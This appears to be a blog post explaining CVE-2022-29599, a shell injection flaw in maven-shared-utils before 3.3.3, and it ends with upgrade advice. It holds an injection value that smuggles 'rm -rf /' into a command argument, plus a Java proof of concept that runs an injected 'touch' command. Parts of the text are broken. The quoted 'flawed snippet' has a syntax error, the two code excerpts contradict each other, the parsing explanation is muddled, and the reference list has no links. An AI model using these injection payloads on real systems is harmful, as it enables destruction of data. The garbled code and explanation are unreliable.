Dependency management tools like Apache Maven are the bedrock of modern Java projects. But even these essential, widely-used tools can hide surprising vulnerabilities with big impacts. One such case is CVE-2022-29599, which shook up the Java dev community in mid-2022. This post breaks down the bug, shows you how it works, how attackers can abuse it, and links you to all the technical background.

Background: What is maven-shared-utils?

Maven Shared Utils is a helper library used by Maven plugins and projects for common functions. The Commandline class inside this library is supposed to safely construct shell commands from user inputs. If this is done incorrectly, the commands might execute *more* than you intend (think: running extra shell commands given by a hacker).


## Vulnerability Summary (NVD Entry)

CVE-2022-29599 is a shell injection vulnerability in the Commandline class in maven-shared-utils versions before 3.3.3.

- Root cause: The class tries to wrap arguments in double quotes for safe execution—*but fails to properly escape* them.
- Consequence: If user-supplied data gets included as a command argument, malicious input can break out of the intended command, leading to shell injection.

Commandline meant to be safe

public void createArg(String argument) {
   // simplified
   if (argument.contains(" ")) {
      argument = '\"' + argument + '\"';
   }
   // append to command
}


However, if the argument contains *quotes*, they're just passed into the shell! That means the shell sees the double-quote as "end of argument", and whatever follows could be interpreted as a new command or shell instruction.

Suppose you have Maven plugin code like

Commandline cmd = new Commandline();
cmd.setExecutable("ls");
cmd.createArg(userInput); // userInput is not trusted

And the attacker submits as input

"; rm -rf / # 

The constructed command ends up as

ls "; rm -rf / #"

But due to improper shell quoting, the shell may parse and execute

ls ; rm -rf / #"

That runs ls

- Then rm -rf /

The hash makes the rest a comment

*Congratulations*—user input triggers arbitrary shell execution!

Original Flawed Snippet (From maven-shared-utils pre-3.3.3)

if (arg.indexOf('"') >= )
    buf.append(arg); // risk: doesn't escape double-quote!
else
    buf.append('"').append(arg).append('"');

Here's a minimal proof-of-concept in Java

import org.apache.maven.shared.utils.cli.Commandline;

public class MavenShellInjectionDemo {
    public static void main(String[] args) throws Exception {
        Commandline cmd = new Commandline();
        cmd.setExecutable("echo");
        String evil = "\"; touch /tmp/pwned #";
        cmd.createArg(evil);
        System.out.println("Command: " + cmd.toString());
        cmd.execute();
    }
}


On a vulnerable system, this will run touch /tmp/pwned in addition to echo, showing the risk.

Real-World Impact

- Scope: Any Java or Maven plugin that included user data as a command argument via Commandline, before version 3.3.3, is affected.
- Attack scenario: The attacker finds a way to get their string passed to a plugin that calls an external command (e.g., formatting tools, linting, custom scripts).

- Official advisory & fix
- CVE entry on NVD
- GitHub issue & patch
- Upgrading in Maven
- How Shell Injection Works

Immediate solution: Ensure you’re running maven-shared-utils version 3.3.3 or newer

<dependency>
  <groupId>org.apache.maven.shared</groupId>
  <artifactId>maven-shared-utils</artifactId>
  <version>3.3.3</version>
</dependency>


If you’re building Maven plugins or Java tools that spawn external commands, always sanitize and validate user-supplied data, even when using libraries.

Conclusion

CVE-2022-29599 is a textbook example of how easy it is to overlook shell quoting and how dangerous it can be—especially in tooling running as CI/CD or with high privileges. If your Java project, build tool, or plugin depends on maven-shared-utils v3.3.2 or below, upgrade *yesterday*!

Timeline

Published on: 05/23/2022 11:16:00 UTC
Last modified on: 08/29/2022 15:15:00 UTC